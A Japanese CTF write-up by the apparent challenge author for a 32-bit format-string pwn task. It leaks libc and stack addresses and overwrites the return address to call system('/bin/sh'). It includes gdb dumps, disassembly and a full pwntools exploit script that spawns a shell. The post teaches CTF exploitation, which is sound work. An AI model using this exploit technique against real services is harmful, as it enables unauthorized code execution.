CTFするぞ

CTF以外のことも書くよ

【Pwn 200】introduction - InterKosenCTF 作問writeup

はじめに

この記事ではInterKosenCTFで出題した問題の解説を書きます。 他の問題のwriteupについては下記リンクから参照してください。

ptr-yudai.hatenablog.com

概要

Description: nc pwn.kosenctf.com 9200
File: introduction.tar.gz

32-bit ELF, libcとソースコードが渡されます。なんとFull RELRO + SSP + NX + PIEというセキュリティ機構盛り沢山です。 でも最近のgccはPIEとか標準で付けちゃうから怖い。

$ checksec introduction
[*] '/home/ptr/Downloads/introduction/introduction'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ここでやる気がなくなるかもしれませんが、ソースコードを見るとFormat String Bugがあることにすぐ気付くと思います。 FSBはアドレスのリークが簡単なのでASLRやPIEが掛かっていても恐れる必要はありません。 ただ、今回の問題のポイントはRELROも付いているのでGOT Overwriteができないということです。

解法

特にフラグを読んでくれるような関数はないので、system("/bin/sh")を実行することを目標にしましょう。 system関数や"/bin/sh"という文字列のアドレスを取得するためにlibcのベースアドレスをリークしましょう。 main関数はlibcの__libc_start_main関数から呼び出されています。 したがって、スタック上には__libc_start_main関数の途中でmainをcallして次のアドレスがリターンアドレスとして保管されているはずです。 このアドレスをFSBでリークすれば、(libcを持っているので)libcがロードされたアドレスを逆算できます。

gdbでプログラムを起動してmain関数でのスタックの状態を見ると次のようになっています。

gdb-peda$ x/64wx $esp
0xffffcc80:     0x565559a7      0xffffcc9c      0xf7ffcca0      0xf7e8d53e
0xffffcc90:     0xffffccb8      0xf7f6bba0      0x00000027      0x00000008
0xffffcca0:     0xf7e8d340      0x000000c2      0x03c0003f      0x00000009
0xffffccb0:     0x00000000      0x00000000      0x00000076      0x00000000
0xffffccc0:     0x00000000      0x00000000      0x00000000      0xf7fb7000
0xffffccd0:     0xffffcd08      0xffffcd0c      0x000000c2      0xf7e22753
0xffffcce0:     0xffffcd0c      0xffffcd08      0x00000001      0x56555511
0xffffccf0:     0x56555679      0x56556fb4      0x00000001      0x56555902
0xffffcd00:     0x00000001      0xffffcdc4      0xffffcdcc      0xf7e228dd
0xffffcd10:     0xf7fb73c4      0x00008000      0x565558bb      0x8a377f00
0xffffcd20:     0x565558b0      0xf7fb7000      0x00000000      0xf7e0a1c3
0xffffcd30:     0x00000001      0xffffcdc4      0xffffcdcc      0x0000003c
...

最初の方にある0xffffcc9cがbufferのポインタですね。 そこから128バイト先にcanaryがあり、更にその先にsaved ebpとリターンアドレスがあります。 今回の例では0xf7e0a1c3がリターンアドレスです。

gdb-peda$ x/4wx 0xf7e0a1c3
0xf7e0a1c3 <__libc_start_main+243>:     0xe8240489      0x000184f5      0x32e9c931      0x8bffffff

確かに__libc_start_mainから呼び出されており、関数の先頭から243バイト目に戻るようです。 また、このアドレスは(0xffffcd2c - 0xffffcc80) / 4 = 43個目の引数なので、"%43$p"のようなフォーマット文字列で得ることができます。 出力されたアドレスから243を引いて、さらにlibcバイナリ上での__libc_start_mainのアドレスを引けばlibcがロードされたアドレスになります。 私の環境では243でしたが、この値は渡されたバイナリに合わせる必要があります。 もらったlibcを逆アセンブルすると、リターンアドレスはlibcの先頭から0x18e81になることが分かります。

...
00018d90 <__libc_start_main@@GLIBC_2.0>:
   18d90:   e8 e4 be 11 00          call   134c79 <__frame_state_for@@GLIBC_2.0+0x399>
   18d95:   05 6b c2 1b 00          add    eax,0x1bc26b
...
   18e75:   ff 74 24 70             push   DWORD PTR [esp+0x70]
   18e79:   ff 74 24 70             push   DWORD PTR [esp+0x70]
   18e7d:   ff 54 24 70             call   DWORD PTR [esp+0x70]
   18e81:   83 c4 10                add    esp,0x10
   18e84:   83 ec 0c                sub    esp,0xc
...

libcのベースアドレスが求まったら__libc_systemのオフセットを足してアドレスを計算します。("/bin/sh"のアドレスも同様)

さて、次にこの関数を呼ぶ方法を考えます。 ローカル変数でのFSBでは簡単に任意のアドレスが書き換えられるのですが、GOTが使えないのでリターンアドレスを書き換えることにします。 スタック上にはスタック上を指すポインタが複数あり、それをリークすればリターンアドレスが置かれているアドレスも相対的に計算できます。 一番簡単なのはbufferのポインタを使うことでしょう。(グローバル変数FSBの場合はargvやenvpが使えます。) 先程のスタックレイアウトから、bufferとリターンアドレスの間のサイズは(0xffffcd2c - 0xffffcc80) = 172bytesなので、"%1$p"でbufferのポインタをリークして172足せばリターンアドレスの場所になります。 あとはそこに先程求めた__libc_systemのアドレスと、その引数として"/bin/sh"のアドレスを書き込んでやればよさそうです。

ペイロードにscanfで認識できない文字(空白や改行など)が入った場合は接続を切ってやり直しましょう。

from pwn import *

libc = ELF("./libc-2.27.so")
libc_const = 241

sock = remote("pwn.kosenctf.com", 9200)

payload = '%p.%43$p'
sock.recvuntil('First Name: ')
sock.sendline(payload)
result = sock.recvline()
addr_buffer, retaddr = map(lambda x:int(x, 16), result.split('.'))
addr_retaddr = addr_buffer + 128 + 16
addr_libc_start_main = retaddr - libc_const
print("libc_start_main = " + hex(addr_libc_start_main))
addr_libc = addr_libc_start_main - libc.symbols['__libc_start_main']
print("addr_retaddr = " + hex(addr_retaddr))
print("addr_libc = " + hex(addr_libc))
addr_system = addr_libc + libc.symbols['__libc_system']
addr_binsh  = addr_libc + next(libc.search('/bin/sh'))
print("<system> " + hex(addr_system))
print("'/bin/sh' " + hex(addr_binsh))

writes = {
    addr_retaddr + 0: addr_system,
    addr_retaddr + 8: addr_binsh
}
payload = fmtstr_payload(7, writes, numbwritten=0, write_size='byte')
print(repr(payload))
if '\n' in payload or ' ' in payload or '\r' in payload or '\x00' in payload:
    print("Bad luck!")
    exit(1)
sock.recvuntil('Family Name: ')
sock.sendline(payload)
sock.interactive()

あとがき

pwn100に比べると難易度が大きく上がりましたが、FSBはpwnの中でも分かりやすい脆弱性だと思うので200点問題として出題しました。 思った以上に多くのチームが解いてくれて嬉しかったです。